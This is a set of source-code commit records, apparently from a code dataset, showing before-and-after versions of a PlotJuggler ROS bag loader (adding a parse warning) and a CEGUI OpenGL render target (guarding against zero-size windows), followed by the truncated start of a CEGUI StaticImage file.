\/\/----------------------------------\n    QSettings settings( \"IcarusTechnology\", \"PlotJuggler\");\n\n    if( _default_topic_names.empty())\n    {\n        \/\/ if _default_topic_names is empty (xmlLoad didn't work) use QSettings.\n        QVariant def = settings.value(\"DataLoadROS\/default_topics\");\n        if( !def.isNull() && def.isValid())\n        {\n            _default_topic_names = def.toStringList();\n        }\n    }\n\n    DialogSelectRosTopics* dialog = new DialogSelectRosTopics( all_topics, _default_topic_names );\n\n    if( !use_previous_configuration )\n    {\n        if( dialog->exec() == static_cast<int>(QDialog::Accepted) )\n        {\n            _default_topic_names = dialog->getSelectedItems();\n\n            \/\/ load the rules\n            if( dialog->checkBoxUseRenamingRules()->isChecked())\n            {\n                _rules = RuleEditing::getRenamingRules();\n            }\n            else{\n                _rules.clear();\n            }\n            for(const auto& it: _rules) {\n                RosIntrospectionFactory::parser().registerRenamingRules( ROSType(it.first) , it.second );\n            }\n        }\n        settings.setValue(\"DataLoadROS\/default_topics\", _default_topic_names);\n    }\n    \/\/-----------------------------------\n    std::set<std::string> topic_selected;\n    for(const auto& topic: _default_topic_names)\n    {\n        topic_selected.insert( topic.toStdString() );\n    }\n\n    QProgressDialog progress_dialog;\n    progress_dialog.setLabelText(\"Loading... please wait\");\n    progress_dialog.setWindowModality( Qt::ApplicationModal );\n\n    rosbag::View bag_view_selected ( true );\n    bag_view_selected.addQuery( *_bag, [topic_selected](rosbag::ConnectionInfo const* connection)\n    {\n        return topic_selected.find( connection->topic ) != topic_selected.end();\n    } );\n    progress_dialog.setRange(0, bag_view_selected.size()-1);\n    progress_dialog.show();\n\n    QElapsedTimer timer;\n    timer.start();\n\n    static FlatMessage flat_container;\n    static std::vector<uint8_t> buffer;\n    static RenamedValues renamed_value;\n\n    for(rosbag::MessageInstance msg_instance: bag_view_selected )\n    {\n        const std::string& topic_name  = msg_instance.getTopic();\n        const std::string& datatype = msg_instance.getDataType();\n        const size_t msg_size  = msg_instance.size();\n\n        buffer.resize(msg_size);\n\n        if( count++ %100 == 0)\n        {\n            progress_dialog.setValue( count );\n            QApplication::processEvents();\n\n            if( progress_dialog.wasCanceled() ) {\n                return PlotDataMap();\n            }\n        }\n\n        ros::serialization::OStream stream(buffer.data(), buffer.size());\n        msg_instance.write(stream);\n\n        RosIntrospectionFactory::parser().deserializeIntoFlatContainer( topic_name, absl::Span<uint8_t>(buffer), &flat_container, 250 );\n        RosIntrospectionFactory::parser().applyNameTransform( topic_name, flat_container, &renamed_value );\n\n        \/\/ apply time offsets\n        double msg_time = 0;\n\n        if(dialog->checkBoxUseHeaderStamp()->isChecked() == false)\n        {\n            msg_time = msg_instance.getTime().toSec();\n        }\n        else{\n            auto offset = FlatContainedContainHeaderStamp(renamed_value);\n            if(offset){\n                msg_time = offset.value();\n            }\n            else{\n                msg_time = msg_instance.getTime().toSec();\n            }\n        }\n\n        for(const auto& it: renamed_value )\n        {\n            const std::string& field_name = it.first;\n\n            auto plot_pair = plot_map.numeric.find( field_name );\n            if( !(plot_pair != plot_map.numeric.end()) )\n            {\n                PlotDataPtr temp(new PlotData(field_name.data()));\n                auto res = plot_map.numeric.insert( std::make_pair(field_name, temp ) );\n                plot_pair = res.first;\n            }\n\n            PlotDataPtr& plot_data = plot_pair->second;\n            plot_data->pushBack( PlotData::Point(msg_time, it.second.convert<double>() ));\n        } \/\/end of for renamed_value\n\n        \/\/-----------------------------------------\n        \/\/ adding raw serialized topic for future uses.\n        {\n            auto plot_pair = plot_map.user_defined.find( topic_name );\n\n            if( plot_pair == plot_map.user_defined.end() )\n            {\n                PlotDataAnyPtr temp(new PlotDataAny(topic_name.c_str()));\n                auto res = plot_map.user_defined.insert( std::make_pair( topic_name, temp ) );\n                plot_pair = res.first;\n            }\n            PlotDataAnyPtr& plot_raw = plot_pair->second;\n            plot_raw->pushBack( PlotDataAny::Point(msg_time, nonstd::any(std::move(msg_instance)) ));\n        }\n    }\n\n    qDebug() << \"The loading operation took\" << timer.elapsed() << \"milliseconds\";\n    return plot_map;\n}\n\n\nDataLoadROS::~DataLoadROS()\n{\n\n}\n\nQDomElement DataLoadROS::xmlSaveState(QDomDocument &doc) const\n{\n    QString topics_list = _default_topic_names.join(\";\");\n    QDomElement list_elem = doc.createElement(\"selected_topics\");\n    list_elem.setAttribute(\"list\", topics_list );\n    return list_elem;\n}\n\nbool DataLoadROS::xmlLoadState(QDomElement &parent_element)\n{\n    QDomElement list_elem = parent_element.firstChildElement( \"selected_topics\" );\n    if( !list_elem.isNull()    )\n    {\n        if( list_elem.hasAttribute(\"list\") )\n        {\n            QString topics_list = list_elem.attribute(\"list\");\n            _default_topic_names = topics_list.split(\";\", QString::SkipEmptyParts);\n            return true;\n        }\n    }\n    return false;\n}\n\n\n<commit_msg>warnings added<commit_after>#include \"dataload_ros.h\"\n#include <QTextStream>\n#include <QFile>\n#include <QMessageBox>\n#include <QDebug>\n#include <QApplication>\n#include <QProgressDialog>\n#include <QElapsedTimer>\n#include <QFileInfo>\n#include <QProcess>\n#include <rosbag\/view.h>\n#include <sys\/sysinfo.h>\n#include <QSettings>\n\n#include \"..\/dialog_select_ros_topics.h\"\n#include \"..\/shape_shifter_factory.hpp\"\n#include \"..\/rule_editing.h\"\n\n\nDataLoadROS::DataLoadROS()\n{\n    _extensions.push_back( \"bag\");\n}\n\nconst std::vector<const char*> &DataLoadROS::compatibleFileExtensions() const\n{\n    return _extensions;\n}\n\nsize_t getAvailableRAM()\n{\n    struct sysinfo info;\n    sysinfo(&info);\n    return info.freeram;\n}\n\nPlotDataMap DataLoadROS::readDataFromFile(const QString &file_name, bool use_previous_configuration)\n{\n    if( _bag ) _bag->close();\n\n    _bag = std::make_shared<rosbag::Bag>();\n\n    using namespace RosIntrospection;\n\n    std::vector<std::pair<QString,QString>> all_topics;\n    PlotDataMap plot_map;\n\n    try{\n        _bag->open( file_name.toStdString(), rosbag::bagmode::Read );\n    }\n    catch( rosbag::BagException&  ex)\n    {\n        QMessageBox::warning(0, tr(\"Error\"),\n                             QString(\"rosbag::open thrown an exception:\\n\")+\n                             QString(ex.what()) );\n        return PlotDataMap{};\n    }\n\n    rosbag::View bag_view ( *_bag, ros::TIME_MIN, ros::TIME_MAX, true );\n    std::vector<const rosbag::ConnectionInfo*> connections = bag_view.getConnections();\n\n    for(unsigned i=0; i<connections.size(); i++)\n    {\n        const auto&  topic      =  connections[i]->topic;\n        const auto&  md5sum     =  connections[i]->md5sum;\n        const auto&  datatype   =  connections[i]->datatype;\n        const auto&  definition =  connections[i]->msg_def;\n\n        all_topics.push_back( std::make_pair(QString( topic.c_str()), QString( datatype.c_str()) ) );\n        RosIntrospectionFactory::registerMessage(topic, md5sum, datatype, definition);\n    }\n\n    int count = 0;\n\n    \/\/----------------------------------\n    QSettings settings( \"IcarusTechnology\", \"PlotJuggler\");\n\n    if( _default_topic_names.empty())\n    {\n        \/\/ if _default_topic_names is empty (xmlLoad didn't work) use QSettings.\n        QVariant def = settings.value(\"DataLoadROS\/default_topics\");\n        if( !def.isNull() && def.isValid())\n        {\n            _default_topic_names = def.toStringList();\n        }\n    }\n\n    DialogSelectRosTopics* dialog = new DialogSelectRosTopics( all_topics, _default_topic_names );\n\n    if( !use_previous_configuration )\n    {\n        if( dialog->exec() == static_cast<int>(QDialog::Accepted) )\n        {\n            _default_topic_names = dialog->getSelectedItems();\n\n            \/\/ load the rules\n            if( dialog->checkBoxUseRenamingRules()->isChecked())\n            {\n                _rules = RuleEditing::getRenamingRules();\n            }\n            else{\n                _rules.clear();\n            }\n            for(const auto& it: _rules) {\n                RosIntrospectionFactory::parser().registerRenamingRules( ROSType(it.first) , it.second );\n            }\n        }\n        settings.setValue(\"DataLoadROS\/default_topics\", _default_topic_names);\n    }\n    \/\/-----------------------------------\n    std::set<std::string> topic_selected;\n    for(const auto& topic: _default_topic_names)\n    {\n        topic_selected.insert( topic.toStdString() );\n    }\n\n    QProgressDialog progress_dialog;\n    progress_dialog.setLabelText(\"Loading... please wait\");\n    progress_dialog.setWindowModality( Qt::ApplicationModal );\n\n    rosbag::View bag_view_selected ( true );\n    bag_view_selected.addQuery( *_bag, [topic_selected](rosbag::ConnectionInfo const* connection)\n    {\n        return topic_selected.find( connection->topic ) != topic_selected.end();\n    } );\n    progress_dialog.setRange(0, bag_view_selected.size()-1);\n    progress_dialog.show();\n\n    QElapsedTimer timer;\n    timer.start();\n\n    static FlatMessage flat_container;\n    static std::vector<uint8_t> buffer;\n    static RenamedValues renamed_value;\n\n    bool parsed = true;\n\n    for(rosbag::MessageInstance msg_instance: bag_view_selected )\n    {\n        const std::string& topic_name  = msg_instance.getTopic();\n        const std::string& datatype = msg_instance.getDataType();\n        const size_t msg_size  = msg_instance.size();\n\n        buffer.resize(msg_size);\n\n        if( count++ %100 == 0)\n        {\n            progress_dialog.setValue( count );\n            QApplication::processEvents();\n\n            if( progress_dialog.wasCanceled() ) {\n                return PlotDataMap();\n            }\n        }\n\n        ros::serialization::OStream stream(buffer.data(), buffer.size());\n        msg_instance.write(stream);\n\n        parsed &= RosIntrospectionFactory::parser().deserializeIntoFlatContainer( topic_name,\n                                                                                  absl::Span<uint8_t>(buffer),\n                                                                                  &flat_container, 250 );\n        RosIntrospectionFactory::parser().applyNameTransform( topic_name, flat_container, &renamed_value );\n\n        \/\/ apply time offsets\n        double msg_time = 0;\n\n        if(dialog->checkBoxUseHeaderStamp()->isChecked() == false)\n        {\n            msg_time = msg_instance.getTime().toSec();\n        }\n        else{\n            auto offset = FlatContainedContainHeaderStamp(renamed_value);\n            if(offset){\n                msg_time = offset.value();\n            }\n            else{\n                msg_time = msg_instance.getTime().toSec();\n            }\n        }\n\n        for(const auto& it: renamed_value )\n        {\n            const std::string& field_name = it.first;\n\n            auto plot_pair = plot_map.numeric.find( field_name );\n            if( !(plot_pair != plot_map.numeric.end()) )\n            {\n                PlotDataPtr temp(new PlotData(field_name.data()));\n                auto res = plot_map.numeric.insert( std::make_pair(field_name, temp ) );\n                plot_pair = res.first;\n            }\n\n            PlotDataPtr& plot_data = plot_pair->second;\n            plot_data->pushBack( PlotData::Point(msg_time, it.second.convert<double>() ));\n        } \/\/end of for renamed_value\n\n        \/\/-----------------------------------------\n        \/\/ adding raw serialized topic for future uses.\n        {\n            auto plot_pair = plot_map.user_defined.find( topic_name );\n\n            if( plot_pair == plot_map.user_defined.end() )\n            {\n                PlotDataAnyPtr temp(new PlotDataAny(topic_name.c_str()));\n                auto res = plot_map.user_defined.insert( std::make_pair( topic_name, temp ) );\n                plot_pair = res.first;\n            }\n            PlotDataAnyPtr& plot_raw = plot_pair->second;\n            plot_raw->pushBack( PlotDataAny::Point(msg_time, nonstd::any(std::move(msg_instance)) ));\n        }\n    }\n    if( !parsed )\n    {\n      QMessageBox::warning(0, tr(\"Warning\"),\n                           tr(\"Some fields were not parsed, because they contain arrays\\n\"\n                              \"larger than 250 elements.\") );\n    }\n\n    qDebug() << \"The loading operation took\" << timer.elapsed() << \"milliseconds\";\n    return plot_map;\n}\n\n\nDataLoadROS::~DataLoadROS()\n{\n\n}\n\nQDomElement DataLoadROS::xmlSaveState(QDomDocument &doc) const\n{\n    QString topics_list = _default_topic_names.join(\";\");\n    QDomElement list_elem = doc.createElement(\"selected_topics\");\n    list_elem.setAttribute(\"list\", topics_list );\n    return list_elem;\n}\n\nbool DataLoadROS::xmlLoadState(QDomElement &parent_element)\n{\n    QDomElement list_elem = parent_element.firstChildElement( \"selected_topics\" );\n    if( !list_elem.isNull()    )\n    {\n        if( list_elem.hasAttribute(\"list\") )\n        {\n            QString topics_list = list_elem.attribute(\"list\");\n            _default_topic_names = topics_list.split(\";\", QString::SkipEmptyParts);\n            return true;\n        }\n    }\n    return false;\n}\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/***********************************************************************\n    filename:   CEGUIOpenGL3RenderTarget.cpp\n    created:    Wed, 8th Feb 2012\n    author:     Lukas E Meindl (based on code by Paul D Turner)\n*************************************************************************\/\n\/***************************************************************************\n *   Copyright (C) 2004 - 2012 Paul D Turner & The CEGUI Development Team\n *\n *   Permission is hereby granted, free of charge, to any person obtaining\n *   a copy of this software and associated documentation files (the\n *   \"Software\"), to deal in the Software without restriction, including\n *   without limitation the rights to use, copy, modify, merge, publish,\n *   distribute, sublicense, and\/or sell copies of the Software, and to\n *   permit persons to whom the Software is furnished to do so, subject to\n *   the following conditions:\n *\n *   The above copyright notice and this permission notice shall be\n *   included in all copies or substantial portions of the Software.\n *\n *   THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n *   EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n *   MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n *   IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR\n *   OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,\n *   ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n *   OTHER DEALINGS IN THE SOFTWARE.\n ***************************************************************************\/\n#include \"CEGUI\/RendererModules\/OpenGL\/RenderTarget.h\"\n#include \"CEGUI\/RenderQueue.h\"\n#include \"CEGUI\/RendererModules\/OpenGL\/GeometryBufferBase.h\"\n#include \"CEGUI\/RendererModules\/OpenGL\/GlmPimpl.h\"\n\n#include <cmath>\n\n#include \"glm\/glm.hpp\"\n#include \"glm\/gtc\/matrix_transform.hpp\"\n\n\/\/ Start of CEGUI namespace section\nnamespace CEGUI\n{\n\/\/----------------------------------------------------------------------------\/\/\ntemplate <typename T>\nconst double OpenGLRenderTarget<T>::d_yfov_tan = 0.267949192431123;\n\n\/\/----------------------------------------------------------------------------\/\/\ntemplate <typename T>\nOpenGLRenderTarget<T>::OpenGLRenderTarget(OpenGLRendererBase& owner) :\n    d_owner(owner),\n    d_area(0, 0, 0, 0),\n    d_matrix(0),\n    d_matrixValid(false),\n    d_viewDistance(0)\n{\n    d_matrix = new mat4Pimpl();\n}\n\n\/\/----------------------------------------------------------------------------\/\/\ntemplate <typename T>\nOpenGLRenderTarget<T>::~OpenGLRenderTarget()\n{\n    delete d_matrix;\n}\n\n\/\/----------------------------------------------------------------------------\/\/\ntemplate <typename T>\nvoid OpenGLRenderTarget<T>::draw(const GeometryBuffer& buffer)\n{\n    buffer.draw();\n}\n\n\/\/----------------------------------------------------------------------------\/\/\ntemplate <typename T>\nvoid OpenGLRenderTarget<T>::draw(const RenderQueue& queue)\n{\n    queue.draw();\n}\n\n\/\/----------------------------------------------------------------------------\/\/\ntemplate <typename T>\nvoid OpenGLRenderTarget<T>::setArea(const Rectf& area)\n{\n    d_area = area;\n    d_matrixValid = false;\n\n    RenderTargetEventArgs args(this);\n    T::fireEvent(RenderTarget::EventAreaChanged, args);\n}\n\n\/\/----------------------------------------------------------------------------\/\/\ntemplate <typename T>\nconst Rectf& OpenGLRenderTarget<T>::getArea() const\n{\n    return d_area;\n}\n\n\/\/----------------------------------------------------------------------------\/\/\ntemplate <typename T>\nvoid OpenGLRenderTarget<T>::activate()\n{\n    glViewport(static_cast<GLsizei>(d_area.left()),\n               static_cast<GLsizei>(d_area.top()),\n               static_cast<GLsizei>(d_area.getWidth()),\n               static_cast<GLsizei>(d_area.getHeight()));\n\n    if (!d_matrixValid)\n        updateMatrix();\n\n    d_owner.setViewProjectionMatrix(d_matrix);\n\n    d_owner.setActiveRenderTarget(this);\n}\n\n\/\/----------------------------------------------------------------------------\/\/\ntemplate <typename T>\nvoid OpenGLRenderTarget<T>::deactivate()\n{\n}\n\n\/\/----------------------------------------------------------------------------\/\/\ntemplate <typename T>\nvoid OpenGLRenderTarget<T>::unprojectPoint(const GeometryBuffer& buff,\n    const Vector2f& p_in, Vector2f& p_out) const\n{\n    if (!d_matrixValid)\n        updateMatrix();\n\n    const OpenGLGeometryBufferBase& gb =\n        static_cast<const OpenGLGeometryBufferBase&>(buff);\n\n    const GLint vp[4] = {\n        static_cast<GLint>(d_area.left()),\n        static_cast<GLint>(d_area.top()),\n        static_cast<GLint>(d_area.getWidth()),\n        static_cast<GLint>(d_area.getHeight())\n    };\n\n    GLdouble in_x, in_y, in_z = 0.0;\n\n    glm::ivec4 viewPort = glm::ivec4(vp[0], vp[1], vp[2], vp[3]);\n    const glm::mat4& projMatrix = d_matrix->d_matrix;\n    const glm::mat4& modelMatrix = gb.getMatrix()->d_matrix;\n\n    \/\/ unproject the ends of the ray\n    glm::vec3 unprojected1;\n    glm::vec3 unprojected2;\n    in_x = vp[2] * 0.5;\n    in_y = vp[3] * 0.5;\n    in_z = -d_viewDistance;\n    unprojected1 =  glm::unProject(glm::vec3(in_x, in_y, in_z), modelMatrix, projMatrix, viewPort);\n    in_x = p_in.d_x;\n    in_y = vp[3] - p_in.d_y;\n    in_z = 0.0;\n    unprojected2 = glm::unProject(glm::vec3(in_x, in_y, in_z), modelMatrix, projMatrix, viewPort);\n\n    \/\/ project points to orientate them with GeometryBuffer plane\n    glm::vec3 projected1;\n    glm::vec3 projected2;\n    glm::vec3 projected3;\n    in_x = 0.0;\n    in_y = 0.0;\n    projected1 = glm::project(glm::vec3(in_x, in_y, in_z), modelMatrix, projMatrix, viewPort);\n    in_x = 1.0;\n    in_y = 0.0;\n    projected2 = glm::project(glm::vec3(in_x, in_y, in_z), modelMatrix, projMatrix, viewPort);\n    in_x = 0.0;\n    in_y = 1.0;\n    projected3 = glm::project(glm::vec3(in_x, in_y, in_z), modelMatrix, projMatrix, viewPort);\n\n    \/\/ calculate vectors for generating the plane\n    const glm::vec3 pv1 = projected2 - projected1;\n    const glm::vec3 pv2 = projected3 - projected1;\n    \/\/ given the vectors, calculate the plane normal\n    const glm::vec3 planeNormal = glm::cross(pv1, pv2);\n    \/\/ calculate plane\n    const glm::vec3 planeNormalNormalized = glm::normalize(planeNormal);\n    const double pl_d = - glm::dot(projected1, planeNormalNormalized);\n    \/\/ calculate vector of picking ray\n    const glm::vec3 rv = unprojected1 - unprojected2;\n    \/\/ calculate intersection of ray and plane\n    const double pn_dot_r1 = glm::dot(unprojected1, planeNormal);\n    const double pn_dot_rv = glm::dot(rv, planeNormal);\n    const double tmp1 = pn_dot_rv != 0.0 ? (pn_dot_r1 + pl_d) \/ pn_dot_rv : 0.0;\n    const double is_x = unprojected1.x - rv.x * tmp1;\n    const double is_y = unprojected1.y - rv.y * tmp1;\n\n    p_out.d_x = static_cast<float>(is_x);\n    p_out.d_y = static_cast<float>(is_y);\n\n    p_out = p_in; \/\/ CrazyEddie wanted this\n}\n\n\/\/----------------------------------------------------------------------------\/\/\ntemplate <typename T>\nvoid OpenGLRenderTarget<T>::updateMatrix() const\n{\n    const float w = d_area.getWidth();\n    const float h = d_area.getHeight();\n    const float aspect = w \/ h;\n    const float midx = w * 0.5f;\n    const float midy = h * 0.5f;\n    d_viewDistance = midx \/ (aspect * d_yfov_tan);\n\n    glm::vec3 eye = glm::vec3(midx, midy, float(-d_viewDistance));\n    glm::vec3 center = glm::vec3(midx, midy, 1);\n    glm::vec3 up = glm::vec3(0, -1, 0);\n\n    glm::mat4 projectionMatrix = glm::perspective(30.f, aspect, float(d_viewDistance * 0.5), float(d_viewDistance * 2.0));\n    \/\/ Projection matrix abuse!\n    glm::mat4 viewMatrix = glm::lookAt(eye, center, up);\n  \n    d_matrix->d_matrix = projectionMatrix * viewMatrix;\n\n    d_matrixValid = true;\n}\n\n\/\/----------------------------------------------------------------------------\/\/\n\n} \/\/ End of  CEGUI namespace section\n<commit_msg>MOD: Fixing assert issues on MSVC in glm when a 0-sized window is used happens only for autorendering surfaces, because of the calculations done in the rendertarget class<commit_after>\/***********************************************************************\n    filename:   CEGUIOpenGL3RenderTarget.cpp\n    created:    Wed, 8th Feb 2012\n    author:     Lukas E Meindl (based on code by Paul D Turner)\n*************************************************************************\/\n\/***************************************************************************\n *   Copyright (C) 2004 - 2012 Paul D Turner & The CEGUI Development Team\n *\n *   Permission is hereby granted, free of charge, to any person obtaining\n *   a copy of this software and associated documentation files (the\n *   \"Software\"), to deal in the Software without restriction, including\n *   without limitation the rights to use, copy, modify, merge, publish,\n *   distribute, sublicense, and\/or sell copies of the Software, and to\n *   permit persons to whom the Software is furnished to do so, subject to\n *   the following conditions:\n *\n *   The above copyright notice and this permission notice shall be\n *   included in all copies or substantial portions of the Software.\n *\n *   THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n *   EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n *   MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n *   IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR\n *   OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,\n *   ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n *   OTHER DEALINGS IN THE SOFTWARE.\n ***************************************************************************\/\n#include \"CEGUI\/RendererModules\/OpenGL\/RenderTarget.h\"\n#include \"CEGUI\/RenderQueue.h\"\n#include \"CEGUI\/RendererModules\/OpenGL\/GeometryBufferBase.h\"\n#include \"CEGUI\/RendererModules\/OpenGL\/GlmPimpl.h\"\n\n#include <cmath>\n\n#include \"glm\/glm.hpp\"\n#include \"glm\/gtc\/matrix_transform.hpp\"\n\n\/\/ Start of CEGUI namespace section\nnamespace CEGUI\n{\n\/\/----------------------------------------------------------------------------\/\/\ntemplate <typename T>\nconst double OpenGLRenderTarget<T>::d_yfov_tan = 0.267949192431123;\n\n\/\/----------------------------------------------------------------------------\/\/\ntemplate <typename T>\nOpenGLRenderTarget<T>::OpenGLRenderTarget(OpenGLRendererBase& owner) :\n    d_owner(owner),\n    d_area(0, 0, 0, 0),\n    d_matrix(0),\n    d_matrixValid(false),\n    d_viewDistance(0)\n{\n    d_matrix = new mat4Pimpl();\n}\n\n\/\/----------------------------------------------------------------------------\/\/\ntemplate <typename T>\nOpenGLRenderTarget<T>::~OpenGLRenderTarget()\n{\n    delete d_matrix;\n}\n\n\/\/----------------------------------------------------------------------------\/\/\ntemplate <typename T>\nvoid OpenGLRenderTarget<T>::draw(const GeometryBuffer& buffer)\n{\n    buffer.draw();\n}\n\n\/\/----------------------------------------------------------------------------\/\/\ntemplate <typename T>\nvoid OpenGLRenderTarget<T>::draw(const RenderQueue& queue)\n{\n    queue.draw();\n}\n\n\/\/----------------------------------------------------------------------------\/\/\ntemplate <typename T>\nvoid OpenGLRenderTarget<T>::setArea(const Rectf& area)\n{\n    d_area = area;\n    d_matrixValid = false;\n\n    RenderTargetEventArgs args(this);\n    T::fireEvent(RenderTarget::EventAreaChanged, args);\n}\n\n\/\/----------------------------------------------------------------------------\/\/\ntemplate <typename T>\nconst Rectf& OpenGLRenderTarget<T>::getArea() const\n{\n    return d_area;\n}\n\n\/\/----------------------------------------------------------------------------\/\/\ntemplate <typename T>\nvoid OpenGLRenderTarget<T>::activate()\n{\n    glViewport(static_cast<GLsizei>(d_area.left()),\n               static_cast<GLsizei>(d_area.top()),\n               static_cast<GLsizei>(d_area.getWidth()),\n               static_cast<GLsizei>(d_area.getHeight()));\n\n    if (!d_matrixValid)\n        updateMatrix();\n\n    d_owner.setViewProjectionMatrix(d_matrix);\n\n    d_owner.setActiveRenderTarget(this);\n}\n\n\/\/----------------------------------------------------------------------------\/\/\ntemplate <typename T>\nvoid OpenGLRenderTarget<T>::deactivate()\n{\n}\n\n\/\/----------------------------------------------------------------------------\/\/\ntemplate <typename T>\nvoid OpenGLRenderTarget<T>::unprojectPoint(const GeometryBuffer& buff,\n    const Vector2f& p_in, Vector2f& p_out) const\n{\n    if (!d_matrixValid)\n        updateMatrix();\n\n    const OpenGLGeometryBufferBase& gb =\n        static_cast<const OpenGLGeometryBufferBase&>(buff);\n\n    const GLint vp[4] = {\n        static_cast<GLint>(d_area.left()),\n        static_cast<GLint>(d_area.top()),\n        static_cast<GLint>(d_area.getWidth()),\n        static_cast<GLint>(d_area.getHeight())\n    };\n\n    GLdouble in_x, in_y, in_z = 0.0;\n\n    glm::ivec4 viewPort = glm::ivec4(vp[0], vp[1], vp[2], vp[3]);\n    const glm::mat4& projMatrix = d_matrix->d_matrix;\n    const glm::mat4& modelMatrix = gb.getMatrix()->d_matrix;\n\n    \/\/ unproject the ends of the ray\n    glm::vec3 unprojected1;\n    glm::vec3 unprojected2;\n    in_x = vp[2] * 0.5;\n    in_y = vp[3] * 0.5;\n    in_z = -d_viewDistance;\n    unprojected1 =  glm::unProject(glm::vec3(in_x, in_y, in_z), modelMatrix, projMatrix, viewPort);\n    in_x = p_in.d_x;\n    in_y = vp[3] - p_in.d_y;\n    in_z = 0.0;\n    unprojected2 = glm::unProject(glm::vec3(in_x, in_y, in_z), modelMatrix, projMatrix, viewPort);\n\n    \/\/ project points to orientate them with GeometryBuffer plane\n    glm::vec3 projected1;\n    glm::vec3 projected2;\n    glm::vec3 projected3;\n    in_x = 0.0;\n    in_y = 0.0;\n    projected1 = glm::project(glm::vec3(in_x, in_y, in_z), modelMatrix, projMatrix, viewPort);\n    in_x = 1.0;\n    in_y = 0.0;\n    projected2 = glm::project(glm::vec3(in_x, in_y, in_z), modelMatrix, projMatrix, viewPort);\n    in_x = 0.0;\n    in_y = 1.0;\n    projected3 = glm::project(glm::vec3(in_x, in_y, in_z), modelMatrix, projMatrix, viewPort);\n\n    \/\/ calculate vectors for generating the plane\n    const glm::vec3 pv1 = projected2 - projected1;\n    const glm::vec3 pv2 = projected3 - projected1;\n    \/\/ given the vectors, calculate the plane normal\n    const glm::vec3 planeNormal = glm::cross(pv1, pv2);\n    \/\/ calculate plane\n    const glm::vec3 planeNormalNormalized = glm::normalize(planeNormal);\n    const double pl_d = - glm::dot(projected1, planeNormalNormalized);\n    \/\/ calculate vector of picking ray\n    const glm::vec3 rv = unprojected1 - unprojected2;\n    \/\/ calculate intersection of ray and plane\n    const double pn_dot_r1 = glm::dot(unprojected1, planeNormal);\n    const double pn_dot_rv = glm::dot(rv, planeNormal);\n    const double tmp1 = pn_dot_rv != 0.0 ? (pn_dot_r1 + pl_d) \/ pn_dot_rv : 0.0;\n    const double is_x = unprojected1.x - rv.x * tmp1;\n    const double is_y = unprojected1.y - rv.y * tmp1;\n\n    p_out.d_x = static_cast<float>(is_x);\n    p_out.d_y = static_cast<float>(is_y);\n\n    p_out = p_in; \/\/ CrazyEddie wanted this\n}\n\n\/\/----------------------------------------------------------------------------\/\/\ntemplate <typename T>\nvoid OpenGLRenderTarget<T>::updateMatrix() const\n{\n    const float w = d_area.getWidth();\n    const float h = d_area.getHeight();\n\n    \/\/ We need to check if width or height are zero and act accordingly to prevent running into issues\n    \/\/ with divisions by zero which would lead to undefined values, as well as faulty clipping planes\n    \/\/ This is mostly important for avoiding asserts\n    bool widthAndHeightNotZero = ( w != 0.0f ) && ( h != 0.0f);\n\n    const float aspect = widthAndHeightNotZero ? w \/ h : 1.0f;\n    const float midx = widthAndHeightNotZero ? w * 0.5f : 0.5f;\n    const float midy = widthAndHeightNotZero ? h * 0.5f : 0.5f;\n    d_viewDistance = midx \/ (aspect * d_yfov_tan);\n\n    glm::vec3 eye = glm::vec3(midx, midy, float(-d_viewDistance));\n    glm::vec3 center = glm::vec3(midx, midy, 1);\n    glm::vec3 up = glm::vec3(0, -1, 0);\n\n    glm::mat4 projectionMatrix = glm::perspective(30.f, aspect, float(d_viewDistance * 0.5), float(d_viewDistance * 2.0));\n    \/\/ Projection matrix abuse!\n    glm::mat4 viewMatrix = glm::lookAt(eye, center, up);\n  \n    d_matrix->d_matrix = projectionMatrix * viewMatrix;\n\n    d_matrixValid = true;\n}\n\n\/\/----------------------------------------------------------------------------\/\/\n\n} \/\/ End of  CEGUI namespace section\n<|endoftext|>"}
{"text":"<commit_before>\/***********************************************************************\n    created:    Tue Jul 5 2005\n    author:     Paul D Turner <paul@cegui.org.uk>\n*************************************************************************\/\n\/***************************************************************************\n *   Copyright (C) 2004 - 2006 Paul D Turner & The CEGUI Development Team\n *\n *   Permission is hereby granted, free of charge, to any person obtaining\n *   a copy of this software and associated documentation files (the\n *   \"Software\"), to deal in the Software without restriction, including\n *   without limitation the rights to use, copy, modify, merge, publish,\n *   distribute, sublicense, and\/or sell copies of the Software, and to\n *   permit persons to whom the Software is furnished to do so, subject to\n *   the following conditions:\n *\n *   The above copyright notice and this permission notice shall be\n *   included in all copies or substantial portions of the Software.\n *\n *   THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n *   EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n *   MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n *   IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR\n *   OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,\n *   ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n *   OTHER DEALINGS IN THE SOFTWARE.\n ***************************************************************************\/\n#include \"CEGUI\/WindowRendererSets\/Core\/StaticImage.h\"\n#include \"CEGUI\/falagard\/WidgetLookManager.h\"\n#include \"CEGUI\/falagard\/WidgetLookFeel.h\"\n#include \"CEGUI\/TplWindowRendererProperty.h\"\n\n\/\/ Start of CEGUI namespace section\nnamespace CEGUI\n{\n    const String FalagardStaticImage::TypeName(\"Core\/StaticImage\");\n\n    FalagardStaticImage::FalagardStaticImage(const String& type) :\n        FalagardStatic(type),\n        